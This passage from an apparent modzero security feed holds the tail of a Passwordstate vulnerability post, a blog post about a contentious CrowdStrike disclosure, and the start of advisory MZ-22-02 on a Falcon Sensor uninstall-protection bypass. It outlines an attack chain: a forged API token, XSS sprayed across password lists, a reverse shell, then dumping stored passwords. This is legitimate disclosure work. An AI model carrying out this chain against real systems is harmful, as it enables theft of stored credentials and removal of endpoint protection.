</span></span><span class="line"><span class="cl">Cookie: session-id=XXX
</span></span><span class="line"><span class="cl">Content-Length: XXX
</span></span><span class="line"><span class="cl">Content-Type: application/x-www-form-urlencoded; charset=UTF-8
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">auth_key=XXX&amp;PasswordList=anything&amp;PasswordListID=1&amp;Title=please+open+me&amp;UserName=username&amp;D
</span></span><span class="line"><span class="cl">description=please+open+me&amp;URL=any_url&amp;Password=password&amp;WebsiteFavicon=anything
</span></span></code></pre></td></tr></table>
</div>
</div><p>This even worked for private password lists! When inspecting the request to the API, we quickly noticed the numerical and incremental nature of the IDs that are used in the requests. Simply by iterating, an attacker can add the XSS payload to every single password list in the system – And that is exactly what we needed to spray the XSS payload.</p>
<h3 id="the-exploit">The Exploit</h3>
<p>Now we had all the puzzle pieces for an exciting vulnerability chain that could get us from a remote attacker with only a valid username to accessing all passwords stored on the Passwordstate instance. The cherry on top is of course the reverse shell on the instance that allows an attacker to keep their access even when these vulnerabilities are fixed.</p>
<p>Let&rsquo;s see how the individual vulnerabilities can be combined:</p>
<ul>
<li>Forge an API token for a valid username
<figure><img src="/files/posts/passwordstate/1.gif"><figcaption>
          <h4>Forge an API token for a valid username</h4>
        </figcaption>
    </figure>
</li>
<li>Iterate through all public and private password lists and add malicious password entries with the XSS payload in the URL field
<figure><img src="/files/posts/passwordstate/2.gif"><figcaption>
          <h4>Iterate through lists</h4>
        </figcaption>
    </figure>
</li>
<li>Wait until an administrator opens the prepared password entry and cover it by opening a benign URL
<figure><img src="/files/posts/passwordstate/3.gif"><figcaption>
          <h4>Wait until an administrator opens the entry</h4>
        </figcaption>
    </figure>
</li>
<li>Get a reverse shell
<figure><img src="/files/posts/passwordstate/4.gif"><figcaption>
          <h4>RUN CMD</h4>
        </figcaption>
    </figure>
</li>
<li>Finally decrypt and dump all passwords stored within the Passwordstate instance
<figure><img src="/files/posts/passwordstate/5.gif"><figcaption>
          <h4>Decrypt and dump</h4>
        </figcaption>
    </figure>
</li>
</ul>
<h3 id="conclusion">Conclusion</h3>
<p>Password safety and therefore password management solutions are the foundation on which an organization&rsquo;s security infrastructure is built on. They are the keys to the queendom and as such they should be handled with the utmost care. Their security must be treated as a holistic endeavor from architecture to implementation and maintenance. A vast feature set often also implies a huge attack surface, with lots of room for errors.</p>
<p>The uncovered findings show the incredible importance of ongoing security audits for critical assets and red teaming engagements within organizations.</p>
<h3 id="acknowledgement">Acknowledgement</h3>
<p>We want to thank Click Studios for the open and transparent communication within the disclosure process. Click Studios was responsive throughout the entire process and released their fixes swiftly after receiving our report.</p>
<h3 id="advisory--timeline">Advisory &amp; Timeline</h3>
<p>Find the full technical details about these vulnerabilities, proof of concept code, the disclosure timeline and all other identified vulnerabilities in <a href="https://modzero.com/en/advisories/mz-22-03-passwordstate/">our advisory</a>.</p>
]]></content:encoded></item><item><title>Ridiculous Vulnerability Disclosure Process with CrowdStrike Falcon Sensor</title><link>https://modzero.com/en/blog/ridiculous-crowdstrike-disclosure-process/</link><pubDate>Mon, 22 Aug 2022 10:00:04 +0200</pubDate><author>modzero</author><category>company</category><guid>https://modzero.com/en/blog/ridiculous-crowdstrike-disclosure-process/</guid><description>We publish a new advisory for a vulnerability in CrowdStrike Falcon Sensor as well as share our thoughts about the ridiculous disclosure process.</description><content:encoded><![CDATA[<p>Today, we publish a <a href="https://modzero.com/en/advisories/mz-22-02-crowdstrike-falconsensor/">new
advisory</a>
for a vulnerability in the <a href="https://www.crowdstrike.com">CrowdStrike</a>
Falcon Sensor, that was found by our team-mate <a href="https://parzel.bsky.social/">Pascal
Zenker</a> as part of a recent red-teaming
engagement.</p>
<p>The vulnerability is a case of <a href="https://cwe.mitre.org/data/definitions/691.html">insufficient control flow
management</a>, that
allows an attacker with administrative privileges to bypass the <a href="https://www.crowdstrike.com/blog/tech-center/uninstall-protection-for-the-falcon-agent/"><em>Falcon
Agent Uninstall
Protection</em></a>
feature of CrowdStrike. As the exploit needs high privileges, the
overall risk of the vulnerability is very <strong>limited</strong>.</p>
<p>While the vulnerability itself might not be worth a blog post, we'd
like to write a few lines about the <strong>ridiculous disclosure process</strong>.</p>
<p>CrowdStrike is a major vendor in the area of IT security and we expected
a straightforward coordinated disclosure process. To our surprise, the
communication and disclosure with CrowdStrike was tedious and turned
unprofessional in the end. Throughout the whole process, CrowdStrike
pushed us repeatedly to disclose the vulnerability through their
<a href="https://www.hackerone.com/">HackerOne</a> bug bounty program, which
would have forced us to agree on the <em>HackerOne</em> Disclosure terms.</p>
<p>We communicated early on that we are neither willing to participate in
any bug bounty program nor sign an
<a href="https://en.wikipedia.org/wiki/Non-disclosure_agreement">NDA</a>, because
we are the ones, providing information to them. After providing
CrowdStrike with a draft of the security advisory and exploit source
code we were informed that they could not replicate the issue with an
updated version of the sensor. Our request for a 14-day trial version to
verify that ourselves was denied.</p>
<p>As the issue was not considered valid, we informed CrowdStrike that we
would release the advisory to the public. In response, CrowdStrike tried
again to set up a bug bounty disclosure meeting between &quot;<em>modzero's Sr
Leadership</em>&quot; and CrowdStrike CISO &quot;<em>[...] to discuss next steps
related to <strong>the</strong> bug bounty disclosure</em>&quot; in contrast to our
previously stated disclosure rules.</p>
<p>Sometime later, we were able to acquire an updated version of the sensor
and discovered that parts of the formerly provided exploit code and a
specific <em>msiexec</em> call, are now flagged as malicious behaviour by the
sensor. This leads us to conclude that CrowdStrike tried to &quot;fix&quot; the
issue, while being told the issue didn't exist. Which is pretty
<strong>disrespectful</strong> to us.</p>
<p>We were able to circumvent the countermeasures introduced silently by
CrowdStrike. With small changes to the exploit, it is now working again
(tested with version 6.42.15610 of the CrowdStrike Falcon software).</p>
<p>We believe that vulnerability disclosure is a two-way street. Vendors,
as well as researchers, should act responsibly and show mutual goodwill
and transparency. Mutual non-disclosure agreements and restrictions
imposed by bug bounty programs limit the disclosure process. Remember,
just because no CVE-IDs are publicly known, does not mean bugs haven't
been reported and fixed. Many bug bounty reports never assign CVE-IDs,
leading to a false perception of security and software quality.</p>
<h2 id="references">References</h2>
<ul>
<li><a href="https://youtu.be/3If-Fqwx-4s">Proof of Concept screencast</a></li>
<li><a href="https://modzero.com/en/advisories/mz-22-02-crowdstrike-falconsensor/">modzero Security Advisory MZ-22-02</a></li>
</ul>
<h2 id="disclosure-timeline">Disclosure Timeline</h2>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span><span class="lnt">76
</span><span class="lnt">77
</span><span class="lnt">78
</span><span class="lnt">79
</span><span class="lnt">80
</span><span class="lnt">81
</span><span class="lnt">82
</span><span class="lnt">83
</span><span class="lnt">84
</span><span class="lnt">85
</span><span class="lnt">86
</span><span class="lnt">87
</span><span class="lnt">88
</span><span class="lnt">89
</span><span class="lnt">90
</span><span class="lnt">91
</span><span class="lnt">92
</span><span class="lnt">93
</span><span class="lnt">94
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">    2022/04    - Found   vulnerability  in   CrowdStrike  Falcon   Sensor
</span></span><span class="line"><span class="cl">                 (6.31.14505.0)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    2022/06/04 - modzero  asked  for   security  contact  @  CrowdStrike,
</span></span><span class="line"><span class="cl">                 because their &#34;report a  security bug&#34; page only refered
</span></span><span class="line"><span class="cl">                 to the hackerone Bug Bounty program.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    2022/06/06 - CS  answered   that  modzero   can  use   the  hackerone
</span></span><span class="line"><span class="cl">                 submission page, or  send an E-Mail to  their support at
</span></span><span class="line"><span class="cl">                 support@crowdstrike.com.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    2022/06/06 - modzero  asked   if  it   is  okay  to   send  sensitive
</span></span><span class="line"><span class="cl">                 information  about  0day  vulnerabilities  to  support@.
</span></span><span class="line"><span class="cl">                 modzero also told  CS that we are not  willing to accept
</span></span><span class="line"><span class="cl">                 terms &amp; conditions  of hackerone, which is  why we asked
</span></span><span class="line"><span class="cl">                 for a direct security contact.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    2022/06/06 - CS offered  to enroll  modzero in  a private  bug bounty
</span></span><span class="line"><span class="cl">                 program at  hackerone, under the conditions  that we are
</span></span><span class="line"><span class="cl">                 willing to sign a mutual non-disclosure agreement.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    2022/06/07 - to  prevent further  misunderstandings, modzero  told CS
</span></span><span class="line"><span class="cl">                 again, that:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                 * we would like to submit a security related bug.
</span></span><span class="line"><span class="cl">                 * we  don&#39;t  want  to  participate  in  any  bug  bounty
</span></span><span class="line"><span class="cl">                 programs.
</span></span><span class="line"><span class="cl">                 * we are not willing to  sign any NDA because WE are the
</span></span><span class="line"><span class="cl">                 ones, providing information to CS.
</span></span><span class="line"><span class="cl">                 * we are  not  willing  to accept  any sort  of terms  &amp;
</span></span><span class="line"><span class="cl">                 conditions that  are out of  scope of well  known hacker
</span></span><span class="line"><span class="cl">                 ethics.
</span></span><span class="line"><span class="cl">                 * we  only want  to get a  reliable security  contact on
</span></span><span class="line"><span class="cl">                 their side.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                 Aditionally,  modzero  sent  a  link  to  their  current
</span></span><span class="line"><span class="cl">                 vulnerability disclosure policy.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    2022/06/07 - CS told us to send the report to bugs@ for review.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    2022/06/13 - CS asked for the report.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    2022/06/13 - modzero told CS  that we need a little bit  more time to
</span></span><span class="line"><span class="cl">                 finish and double check everything before submitting.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    2022/06/29 - modzero sent Security Advisory (draft), Proof of Concept
</span></span><span class="line"><span class="cl">                 exploit sourcecode, executable and a Screencast video of
</span></span><span class="line"><span class="cl">                 the PoC to CS.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    2022/06/29 - CS  told  us,  that  we   were  testing  using  only  an
</span></span><span class="line"><span class="cl">                 unsupported  version of  the Falcon  Sensor. CS  told us
</span></span><span class="line"><span class="cl">                 about the  error message and  that they are not  able to
</span></span><span class="line"><span class="cl">                 reproduce.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    2022/07/05 - modzero told  CS that the  error message can  be ignored
</span></span><span class="line"><span class="cl">                 and refered to their PoC screencast video. We also asked
</span></span><span class="line"><span class="cl">                 for a recent (14-day trial)  version of Falcon Sensor to
</span></span><span class="line"><span class="cl">                 provide reliable information if  the most recent version
</span></span><span class="line"><span class="cl">                 is still vulnerable or not.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    2022/07/05 - CS answered: &#34;We  do not provide trial  licenses as part
</span></span><span class="line"><span class="cl">                 of this  process, however having  tested the PoC  on our
</span></span><span class="line"><span class="cl">                 end with  a modern sensor this  does not appear to  be a
</span></span><span class="line"><span class="cl">                 valid issue.&#34;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    2022/07/05 - modzero  announced publishing  the advisory  and exploit
</span></span><span class="line"><span class="cl">                 code by end  of week, asking if the quote  of CS &#34;Having
</span></span><span class="line"><span class="cl">                 tested the PoC on our end with a modern sensor this does
</span></span><span class="line"><span class="cl">                 not  appear to  be a  valid issue&#34;  can be  used in  our
</span></span><span class="line"><span class="cl">                 report.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    2022/07/06 - CS asking for a  meeting between modzero&#39;s Sr Leadership
</span></span><span class="line"><span class="cl">                 and CS to  discuss next steps related to  the bug bounty
</span></span><span class="line"><span class="cl">                 disclosure.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    2022/07/07 - modzero, again,  told CS, that we  are not participating
</span></span><span class="line"><span class="cl">                 in any bug  bounty program and that there is  no need to
</span></span><span class="line"><span class="cl">                 discuss NDAs or bug bounty programs.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    2022/08/12 - modzero managed to acquire a recent version (6.42.15610)
</span></span><span class="line"><span class="cl">                 of CrowdStrike  Falcon and verified, that  the attack is
</span></span><span class="line"><span class="cl">                 still  possible. Furthermore,  modzero figured  out that
</span></span><span class="line"><span class="cl">                 the  vulnerability  (that  was rejected  by  CrowdStrike
</span></span><span class="line"><span class="cl">                 first) has  been silently fixed:  The PoC that  has been
</span></span><span class="line"><span class="cl">                 sent  to  CrowdStrike  was  flagged  as  malicious.  The
</span></span><span class="line"><span class="cl">                 msiexec  call of  the  deinstaller was  also flagged  as
</span></span><span class="line"><span class="cl">                 malicious.  Both &#34;countermeasures&#34;  can be  circumvented
</span></span><span class="line"><span class="cl">                 easily, we updated the exploit accordingly.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    2022/08/22 - modzero   publishes   Security  Advisory   and   exploit
</span></span><span class="line"><span class="cl">                 code,  because  CrowdStrike  was  unwilling  to  set  up
</span></span><span class="line"><span class="cl">                 a  cooperative  information  exchange outside  of  their
</span></span><span class="line"><span class="cl">                 NDA-ridden BugBounty program  to discuss vulnerabilities
</span></span><span class="line"><span class="cl">                 in their products.
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded></item><item><title>[MZ-22-02] CrowdStrike FalconSensor</title><link>https://modzero.com/en/advisories/mz-22-02-crowdstrike-falconsensor/</link><pubDate>Mon, 22 Aug 2022 20:42:38 +0200</pubDate><author>Pascal Zenker, Max Moser</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-22-02-crowdstrike-falconsensor/</guid><description>Uninstall Protection Bypass for CrowdStrike Falcon Sensor</description><content:encoded><![CDATA[<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span><span class="lnt">159
</span><span class="lnt">160
</span><span class="lnt">161
</span><span class="lnt">162
</span><span class="lnt">163
</span><span class="lnt">164
</span><span class="lnt">165
</span><span class="lnt">166
</span><span class="lnt">167
</span><span class="lnt">168
</span><span class="lnt">169
</span><span class="lnt">170
</span><span class="lnt">171
</span><span class="lnt">172
</span><span class="lnt">173
</span><span class="lnt">174
</span><span class="lnt">175
</span><span class="lnt">176
</span><span class="lnt">177
</span><span class="lnt">178
</span><span class="lnt">179
</span><span class="lnt">180
</span><span class="lnt">181
</span><span class="lnt">182
</span><span class="lnt">183
</span><span class="lnt">184
</span><span class="lnt">185
</span><span class="lnt">186
</span><span class="lnt">187
</span><span class="lnt">188
</span><span class="lnt">189
</span><span class="lnt">190
</span><span class="lnt">191
</span><span class="lnt">192
</span><span class="lnt">193
</span><span class="lnt">194
</span><span class="lnt">195
</span><span class="lnt">196
</span><span class="lnt">197
</span><span class="lnt">198
</span><span class="lnt">199
</span><span class="lnt">200
</span><span class="lnt">201
</span><span class="lnt">202
</span><span class="lnt">203
</span><span class="lnt">204
</span><span class="lnt">205
</span><span class="lnt">206
</span><span class="lnt">207
</span><span class="lnt">208
</span><span class="lnt">209
</span><span class="lnt">210
</span><span class="lnt">211
</span><span class="lnt">212
</span><span class="lnt">213
</span><span class="lnt">214
</span><span class="lnt">215
</span><span class="lnt">216
</span><span class="lnt">217
</span><span class="lnt">218
</span><span class="lnt">219
</span><span class="lnt">220
</span><span class="lnt">221
</span><span class="lnt">222
</span><span class="lnt">223
</span><span class="lnt">224
</span><span class="lnt">225
</span><span class="lnt">226
</span><span class="lnt">227
</span><span class="lnt">228
</span><span class="lnt">229
</span><span class="lnt">230
</span><span class="lnt">231
</span><span class="lnt">232
</span><span class="lnt">233
</span><span class="lnt">234
</span><span class="lnt">235
</span><span class="lnt">236
</span><span class="lnt">237
</span><span class="lnt">238
</span><span class="lnt">239
</span><span class="lnt">240
</span><span class="lnt">241
</span><span class="lnt">242
</span><span class="lnt">243
</span><span class="lnt">244
</span><span class="lnt">245
</span><span class="lnt">246
</span><span class="lnt">247
</span><span class="lnt">248
</span><span class="lnt">249
</span><span class="lnt">250
</span><span class="lnt">251
</span><span class="lnt">252
</span><span class="lnt">253
</span><span class="lnt">254
</span><span class="lnt">255
</span><span class="lnt">256
</span><span class="lnt">257
</span><span class="lnt">258
</span><span class="lnt">259
</span><span class="lnt">260
</span><span class="lnt">261
</span><span class="lnt">262
</span><span class="lnt">263
</span><span class="lnt">264
</span><span class="lnt">265
</span><span class="lnt">266
</span><span class="lnt">267
</span><span class="lnt">268
</span><span class="lnt">269
</span><span class="lnt">270
</span><span class="lnt">271
</span><span class="lnt">272
</span><span class="lnt">273
</span><span class="lnt">274
</span><span class="lnt">275
</span><span class="lnt">276
</span><span class="lnt">277
</span><span class="lnt">278
</span><span class="lnt">279
</span><span class="lnt">280
</span><span class="lnt">281
</span><span class="lnt">282
</span><span class="lnt">283
</span><span class="lnt">284
</span><span class="lnt">285
</span><span class="lnt">286
</span><span class="lnt">287
</span><span class="lnt">288
</span><span class="lnt">289
</span><span class="lnt">290
</span><span class="lnt">291
</span><span class="lnt">292
</span><span class="lnt">293
</span><span class="lnt">294
</span><span class="lnt">295
</span><span class="lnt">296
</span><span class="lnt">297
</span><span class="lnt">298
</span><span class="lnt">299
</span><span class="lnt">300
</span><span class="lnt">301
</span><span class="lnt">302
</span><span class="lnt">303
</span><span class="lnt">304
</span><span class="lnt">305
</span><span class="lnt">306
</span><span class="lnt">307
</span><span class="lnt">308
</span><span class="lnt">309
</span><span class="lnt">310
</span><span class="lnt">311
</span><span class="lnt">312
</span><span class="lnt">313
</span><span class="lnt">314
</span><span class="lnt">315
</span><span class="lnt">316
</span><span class="lnt">317
</span><span class="lnt">318
</span><span class="lnt">319
</span><span class="lnt">320
</span><span class="lnt">321
</span><span class="lnt">322
</span><span class="lnt">323
</span><span class="lnt">324
</span><span class="lnt">325
</span><span class="lnt">326
</span><span class="lnt">327
</span><span class="lnt">328
</span><span class="lnt">329
</span><span class="lnt">330
</span><span class="lnt">331
</span><span class="lnt">332
</span><span class="lnt">333
</span><span class="lnt">334
</span><span class="lnt">335
</span><span class="lnt">336
</span><span class="lnt">337
</span><span class="lnt">338
</span><span class="lnt">339
</span><span class="lnt">340
</span><span class="lnt">341
</span><span class="lnt">342
</span><span class="lnt">343
</span><span class="lnt">344
</span><span class="lnt">345
</span><span class="lnt">346
</span><span class="lnt">347
</span><span class="lnt">348
</span><span class="lnt">349
</span><span class="lnt">350
</span><span class="lnt">351
</span><span class="lnt">352
</span><span class="lnt">353
</span><span class="lnt">354
</span><span class="lnt">355
</span><span class="lnt">356
</span><span class="lnt">357
</span><span class="lnt">358
</span><span class="lnt">359
</span><span class="lnt">360
</span><span class="lnt">361
</span><span class="lnt">362
</span><span class="lnt">363
</span><span class="lnt">364
</span><span class="lnt">365
</span><span class="lnt">366
</span><span class="lnt">367
</span><span class="lnt">368
</span><span class="lnt">369
</span><span class="lnt">370
</span><span class="lnt">371
</span><span class="lnt">372
</span><span class="lnt">373
</span><span class="lnt">374
</span><span class="lnt">375
</span><span class="lnt">376
</span><span class="lnt">377
</span><span class="lnt">378
</span><span class="lnt">379
</span><span class="lnt">380
</span><span class="lnt">381
</span><span class="lnt">382
</span><span class="lnt">383
</span><span class="lnt">384
</span><span class="lnt">385
</span><span class="lnt">386
</span><span class="lnt">387
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">------------------------------------------------------------------v1-
</span></span><span class="line"><span class="cl">modzero Security Advisory [MZ-22-02]:
</span></span><span class="line"><span class="cl">Uninstall Protection Bypass for CrowdStrike Falcon Sensor
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">CrowdStrike Falcon is a cloud-powered endpoint detection and response
</span></span><span class="line"><span class="cl">(EDR) and antivirus (AV)  solution. On each end-device  a lightweight
</span></span><span class="line"><span class="cl">managed  sensor  is  deployed  and  makes  use  of  the   cloud-based
</span></span><span class="line"><span class="cl">capabilities.  The  sensor  can   be  configured  with  a   uninstall
</span></span><span class="line"><span class="cl">protection.  It  prevents the  uninstallation  of CrowdStrike  Falcon
</span></span><span class="line"><span class="cl">sensor on the end-device without a one-time generated token.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Exploiting this vulnerability allows  an attacker with administrative
</span></span><span class="line"><span class="cl">privileges to  bypass the token  check on Windows end-devices  and to
</span></span><span class="line"><span class="cl">uninstall the  sensor from  the device without  proper authorization,
</span></span><span class="line"><span class="cl">effectively removing the device&#39;s EDR and AV protection.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">1. Timeline
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/04    - Found   vulnerability  in   CrowdStrike  Falcon   Sensor
</span></span><span class="line"><span class="cl">             (6.31.14505.0)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/06/04 - modzero  asked  for   security  contact  @  CrowdStrike,
</span></span><span class="line"><span class="cl">             because their &#34;report a  security bug&#34; page only refered
</span></span><span class="line"><span class="cl">             to the hackerone Bug Bounty program.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/06/06 - CS  answered   that  modzero   can  use   the  hackerone
</span></span><span class="line"><span class="cl">             submission page, or  send an E-Mail to  their support at
</span></span><span class="line"><span class="cl">             support@crowdstrike.com.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/06/06 - modzero  asked   if  it   is  okay  to   send  sensitive
</span></span><span class="line"><span class="cl">             information  about  0day  vulnerabilities  to  support@.
</span></span><span class="line"><span class="cl">             modzero also told  CS that we are not  willing to accept
</span></span><span class="line"><span class="cl">             terms &amp; conditions  of hackerone, which is  why we asked
</span></span><span class="line"><span class="cl">             for a direct security contact.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/06/06 - CS offered  to enroll  modzero in  a private  bug bounty
</span></span><span class="line"><span class="cl">             program at  hackerone, under the conditions  that we are
</span></span><span class="line"><span class="cl">             willing to sign a mutual non-disclosure agreement.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/06/07 - to  prevent further  misunderstandings, modzero  told CS
</span></span><span class="line"><span class="cl">             again, that:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">             * We would like to submit a security related bug.
</span></span><span class="line"><span class="cl">             * We don&#39;t want to participate in any bug bounty
</span></span><span class="line"><span class="cl">               programs.
</span></span><span class="line"><span class="cl">             * We are not willing to sign any NDA because WE are the
</span></span><span class="line"><span class="cl">               ones, providing information to CS.
</span></span><span class="line"><span class="cl">             * We are not willing to accept any sort of terms and
</span></span><span class="line"><span class="cl">               conditions that are out of scope of well known hacker
</span></span><span class="line"><span class="cl">               ethics.
</span></span><span class="line"><span class="cl">             * We only want to get a reliable security contact on
</span></span><span class="line"><span class="cl">               their side.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">             Aditionally,  modzero  sent  a  link  to  their  current
</span></span><span class="line"><span class="cl">             vulnerability disclosure policy.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/06/07 - CS told us to send the report to bugs@ for review.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022/06/13 - CS asked for the report.
</span></span><span class="line"><span class="cl">
